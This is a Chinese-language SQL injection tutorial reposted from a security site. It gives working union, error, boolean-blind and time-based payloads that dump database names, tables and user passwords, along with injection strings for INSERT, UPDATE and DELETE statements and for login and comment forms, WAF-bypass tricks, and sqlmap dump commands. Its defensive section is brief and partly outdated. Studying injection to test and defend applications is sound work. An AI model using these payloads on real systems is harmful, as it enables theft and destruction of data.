SQL注入补充 – 作者:hahali

什么是SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令

SQL注入原理:对用户输入过滤不严谨

SQL注入本质:违背了数据与代码分离的原则

SQL注入漏洞有两个关键条件

  • 用户能控制输入的内容
  • web应用把用户输入的内容带入到数据库去执行

只要满足以上两个条件,都有可能存在注入漏洞,所以,有注入的漏洞不仅仅是id=1这种

不仅仅只是select语句有注入漏洞,也要学会对update,delete,insert语句进行注入攻击

SQL注入常见流程

  1. 判断是否有注入
  2. 获取数据库信息
    1. 获取数据库基本信息如:user()、database()、version()、@@basedir、@@datadir、@@tmpdir
    2. 获取数据库名
    3. 获取表名
    4. 获取列名
    5. 获取字段
    6. 获取用户数据
  3. 破解数据
  4. 找后台
  5. 脱裤
  6. 跑路
  7. 请喝茶

注意:找到注入点能跑出个版本号就可以了,再往下就过分了

SQL注入常用函数

group_concat()

count()

length()

ascii()/ord()

substr()/mid()

if()

sleep()/benchmark()

报错注入

floor()

extractvalue()

updatexml()

geometrycollection()

multipoint()

polygon()

multipolygon()

linestring()

multilinestring()

exp()

SQL注入分类

0x00 SQL注入之注入点类型判断

以下均假定注入类型为单引号注入'

根据SQL注入的反馈类型

大致可分为显注和盲注

基于错误显示的SQL注入

报错注入,用一些特殊的报错函数去构造语句,从而达到爆数据的目的

详情:十种MySQL报错注入

union类型的联合查询注入

在mysql中,有information_schema这个数据库,union注入依赖这个数据库进行,在这个数据库中,存放的是所有数据库的信息,并且是公开的,任何用户都可以访问

这是一张数据表:

图片[1]-SQL注入补充 – 作者:hahali-安全小百科

union注入的一般步骤如下所示:

order by

原意是根据字段进行排序,在注入中,可通过它来猜总共有几个字段

' order by 6 #		->	正常
' order by 7 # -> 报错

注意:在数据库中,使用的是#,但是在url中必须把#编码成%23

在mysql交互环境中,必须以;结尾,但实际注入中并不需要

图片[2]-SQL注入补充 – 作者:hahali-安全小百科

可以看到当输入的字段数大于实际值时,会报错,这里可确定有六个字段

union select

order by猜出字段数后,我们需要用联合查询显示出我们想要的东西,先来看看union select的用法:

图片[3]-SQL注入补充 – 作者:hahali-安全小百科

可以看到输入的1,2,3,4,5,6都显示出来了,说明这是可控的,再来看:

图片[4]-SQL注入补充 – 作者:hahali-安全小百科

通过输入version()等函数,可直接爆出版本等信息,上面的几种函数都可以使用,但是有一个问题,开发人员在写PHP连接mysql时,使用mysql_fetch_assoc()等类似函数,这种函数会从结果集中取出一行作为结果返回,所以虽然在数据库中能看到这个数据,但是在注入时是看不到的,这个时候就需要把前面的查询语句报错,后面的语句才能被显示,如下所示:

构造语句使前面报错:

id =-1' union select 1,2,3,4,5,6 %23

图片[5]-SQL注入补充 – 作者:hahali-安全小百科

向下面这样,不报错

图片[6]-SQL注入补充 – 作者:hahali-安全小百科

这样就报错了,可以看到2,3,4这三个字段被回显出来,之后就可以更改这三个字段为mysql函数进行注入

图片[7]-SQL注入补充 – 作者:hahali-安全小百科

之后就简单了,在这里罗列下注入语句

查看所有库名
id =-1' union select 1,2,group_concat(schema_name),4,5,6 from information_schema.schemata %23

查看msg数据库所有表名
id =-1' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=0x6d7367 %23

查看msg数据库user表的所有字段
id =-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_schema=0x6d7367 and table_name=0x75736572 %23

查看msg数据库user表的user和pass字段
id=-1' union select 1,group_concat(username),group_concat(password),4,5,6 from users%23

布尔类型的SQL注入

页面有变化,但是不给出具体报错信息,即为bool盲注

在测注入点类型时,即可看出是否为bool盲注:

图片[8]-SQL注入补充 – 作者:hahali-安全小百科

加单引号

图片[9]-SQL注入补充 – 作者:hahali-安全小百科

bool盲注也简单

一般步骤是这样的,比如说要看版本号

先测长度:

id=1' and length(version())>10 %23

如果版本号大于10,则回显与id=1的回显相同,如果版本号不大于10,则回显与id=1不同,依据这个,使用二分法一点一点猜就可以了

再测每个字符:

id=1' and ascii(substr(version(),1,1))>100 %23

这段代码的意思是判断版本号的第一个字符的ascii值是否大于100

比如查第3个数据库的库长:

id=1' and (select length(schema_name) from information_schema.schemata limit 2,1)>10 %23

查第3个数据库名的第5个字符:

id=1' and (select ascii(substr(schema_name,5,1)) from information_schema.schemata limit 2,1)>100 %23

布尔注入比较麻烦,在实际过程中,如果检测到有bool盲注,使用SQLMAP跑就可以了。或者等到自己学会写脚本也可以自己写脚本来跑数据

延时注入

所谓延时注入,就是根据服务器响应时间来判断是否存在注入

当测注入点时发现不管怎么测页面都没反应,那就可以在测试语句中加入sleep(n)函数测试,比如sqli-labs第9关

图片[10]-SQL注入补充 – 作者:hahali-安全小百科

图片[11]-SQL注入补充 – 作者:hahali-安全小百科

测版本长度:

id=1' and if(length(version())>10,sleep(5),0) %23

如果版本长度大于10页面就会响应5s以上

注入语句

测版本第一个字符:

id=1' and if(ascii(mid(version(),1,1))>100,sleep(5),0)%23

测第3个数据库长度:

id=1' and if((select length(schema_name) from information_schema.schemata limit 0,1)>5,sleep(5),0)%23

测第5个数据库的第12个字符:

id=1' and if((select ascii(substr(schema_name,12,1)) from information_schema.schemata)>79,sleep(5),0)

基本步骤就这样,多练,就会了,这里有两个点需要注意:

  1. 在select语句中,请使用and不要使用or,使用or前提是把前面参数弄一个不存在的,其次mysql后匹配所有的结果然后进行sleep(5),所以时间会很长,亲身示范给你们:

    图片[12]-SQL注入补充 – 作者:hahali-安全小百科

  2. 在if语句中,第三个参数是可以随便写的,但是建议写0,因为0可以代表bool假,如果条件判断不正确,就会返回第三个参数,即0,可以避免很多情况,尤其是在后面的增删改语句中尤为明显

根据SQL语句的类型

select

select用于从数据库中选取数据

insert

insert into messages (title,message,......) values ('hello','123',......);

insert into messages (title,message,time,content,author) values ('hello','123','2018','123','admin' );

对insert语句注入非常简单,只需根据语句特点进行构造出一个正常的语句即可

比如上面的语句,对message字段进行注入攻击,可以这样构造:

insert into messages (title,message,time,content,author) values
('hello','msg',1,1,1)#')

在上述语句中,你的payload是长这样的:

msg',1,1,1)#

在实际环境中,我们并不知道有多少个字段,所以就需要一个一个的尝试,只要我们注入攻击的这个字段不在最后一个,就可以完成注入

在后续注入中,只需把1转换为要注入的语句即可

update

update语句一般都是延时注入,不过其他注入也有可能出现,延时注入可以保证语句不被执行

有个特别需要注意的地方:

​ 不要使用' #" #来执行SQL语句,因为这样会造成所有记录全被执行更新操作,想象一下如果是修改密码时有这个注入,直接全站所有密码被改

​ 还有就是update语句一般是在where字句之前,所以构造的注入语句中需要带上where子句

update语句长这样:

update users set pass = '123456' where name = 'user';

这样测试:

1.	123'
2. 123' where sleep(2) #

sleep()函数返回结果为0,所以条件永假,不会执行update操作

但是这样有一个弊端,当where返回false后,mysql回去检索每一个语句,从而执行时间就是记录数*sleep时间

图片[13]-SQL注入补充 – 作者:hahali-安全小百科

所以语句可以这样改进一下:

123' where id = 100 and sleep(2)#

增加一个限制条件

但是又有一个问题,就是前提条件是此网站有id这个字段,并且你能猜到值,如果实在猜不到,那就使用上面的语句直接sleep吧,记得把sleep时间改小点。benchmark函数好像不会和前面的列数相乘,但是会消耗网站所在服务器资源,不太好,也很危险,慎用

如果存在注入,那就把sleep()替换成注入语句执行就可以了

注入语句长这样:

123' where id=7100 and if(length(version())>5,sleep(3),0)#

delete

这个语句和update一样,都是高危语句,在进行注入的时候,一定要在本地测试好语句,没问题了再进行注入

delete语句同样也需要注意几个点

  1. 不要使用' #" #来执行SQL语句
  2. if语句的返回结果一定要为0,也就是说if的第2,3个参数的结果一定要为0,如果不为0导致语句被执行,误删了机密文件,那你倒是能获得一杯普洱茶
delete from users where  id = '57' and title = 'qwerdf';

这两个点都有可能是让用户操作的点,假设让我们输入title,那么测试顺序:

qwer'

请一定要跳过:`qwer'#`这一步,把where条件注释掉,你是要删库跑路吗???

qwer' and sleep(3)#

如果不想真的删除一条数据,就可以使用时间延时盲注,注意if语句返回结果一定要都是0

qwer' and if(length(version())>5,sleep(3),0) #

如果数据足够多,就用布尔盲注,这样比较快

qwer' and length(version())>5 #

根据业务类型点进行分类

登录

首先,登录一般在成功后都会跳转,所以最好的注入方式就是延时注入

并且密码基本上都是经过加密的,所以能注入的地方也就只有用户名的地方

登录处的处理方式目前我知道的有两种:

  1. select直接查询用户名和密码

    select * from users where user='tom' and pass='hello';

但是有一个问题,如果用户名不存在,语句直接为假,就不执行后面的语句了,所以在进行测试之前,可以先注册一个,然后拿注册的用户去测试就不用考虑这个问题了

  1. select只查询用户名,然后拿用户输入的密码和数据库中该用户的密码作比对

图片[14]-SQL注入补充 – 作者:hahali-安全小百科

两种逻辑在注入时没区别,只不过第二种万能密码绕不过去

注入语句:

tom' and sleep(3)

就尝试以下看能不能睡就可以了

注册

注册功能通过select+insert语句完成操作

先查询输入的用户名是否存在,如果不存在则创建此用户

图片[15]-SQL注入补充 – 作者:hahali-安全小百科

像上图中可以这样绕过

user',version())#

但是因为只有两个字段,version()被保存在了密码字段中,所以没什么用

上图逻辑可以这样注入:

admin' and sleep(5)#

首先要保证前面的用户存在,直接对select语句进行注入

留言

图片[16]-SQL注入补充 – 作者:hahali-安全小百科

像上图中可以这样绕过

在留言内容处写语句

1',1,1)#

留言板中能够填写的只有标题和内容两个字段,在我们提交留言时,系统会自动添加上作者,时间字段,所以只要绕过这两个字段就可以进行注入了

删除留言

图片[17]-SQL注入补充 – 作者:hahali-安全小百科

上图的绕过可以这样写

and if(length(version())>5,sleep(3),0) #'

图片上传

一般图片上传的地方都只是对文件上传漏洞进行了限制,可能限制了文件格式,或者文件内容,但是开发者有时不会想到图片上传的位置有时也可以用来进行注入,把文件的名字修改成SQL语句,在把图片名字存入到数据库中时就会执行SQL语句

根据数据库类型不同的分类

mysql数据库注入

access数据库注入

mssql数据库注入

Oracle数据库注入

其他

宽字节注入

前提:数据库编码格式为’gbk’/‘gb2312’等

这种漏洞多存在与Windows系统中

%80-%df,只能通过工具注入,因为直接输入%会被编码

utf8 没有宽字节注入 ,因为没有5c结尾的编码 %5c->/

二次解码注入

漏洞成因:addslashes()函数在urlencode函数之前使用

黑盒测试是测试不出来的,一般是进行白盒测试代码审计时才会找到这个注入点,要是遇到开源的就去Github上找找源码审计一下。

SQL注入之waf绕过

想要绕waf就要先知道waf是什么

什么是waf

web应用防护系统,也称网站应用级入侵防御系统。英文叫做Web Application Firewall,简称叫waf。主要是对web特有的入侵方式加强防护,如DDOS防护,SQL注入、XML注入、XSS等

waf也有很多的种类:代码waf、软件waf、硬件waf、云waf等等

了解了什么是waf,那应该怎么绕过呢?

SQL注入绕waf常用方式

1、大小写混合 uNIoN sELecT 1,2,3,4

2、替换关键字 selselsectect 1,2,3,4

3、使用编码 %55nion%53elect 1,2,3,4

4、使用注释 union /**/select 1,2,3,4

5、等价函数与命令 @@datadir ==> datadir()

6、特殊符号 select+id+from users

工具的使用

SQLMAP

以下命令是在windows环境中使用sqlmap,在kali中的使用和windows中差不多

首先要去Github中下载一个sqlmap,解压出来后在sqlmap的文件夹下打开cmd窗口

对了,还要有Python环境哦,还要是Python2的环境

打开sqlmap:python sqlmap.py

扫描网站:python sqlmap.py –url http://192.168.11.86/index.php?id=1

-v参数,7个等级0-6

0、只显示Python错误以及严重的信息

1、同时显示基本信息和警告信息

2、同时显示debug信息

3、同时显示注入的payload

4、同时显示HTTP请求

5、同时显示HTTP响应头

6、同时显示HTTP响应页面

常规步骤

判断是否有注入

sqlmap -u http://192.168.11.86/index.php?id=1

查看数据库

sqlmap -u http://192.168.11.86/index.php?id=1 –dbs

查看当前使用的数据库

sqlmap -u http://192.168.11.86/index.php?id=1 –current-db

查看数据表

sqlmap -u http://192.168.11.86/index.php?id=1 -D 数据库名 –tables

查看列名

sqlmap -u http://192.168.11.86/index.php?id=1 -D 数据库名 -T 表名 –columns

查看数据

sqlmap -u http://192.168.11.86/index.php?id=1 -D 数据库名 -T 表名 –dump

常规的操作就是这些,以后会单独写一篇关于sqlmap使用的博客

防御SQL注入

1、GPC/RUNTIME魔术引导

通常数据污染有两种方式:一种是应用被动接受参数,像GET、POST等。一种是主动获取参数类似读取远程页面或者文件等,所以防SQL注入的方法就是守住这两条路

magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤

magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤

2、过滤函数和类

在通常的工作场景中,用的多的还是过滤函数和类。不过单纯的过滤函数还是不够严谨,也会出现绕过的情况。这时候可以使用预编译语句来绑定变量

常用过滤函数:

addslashes函数

mysql[real]escape_string函数

intval等字符转换

来源:freebuf.com 2020-07-24 09:34:45 by: hahali

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论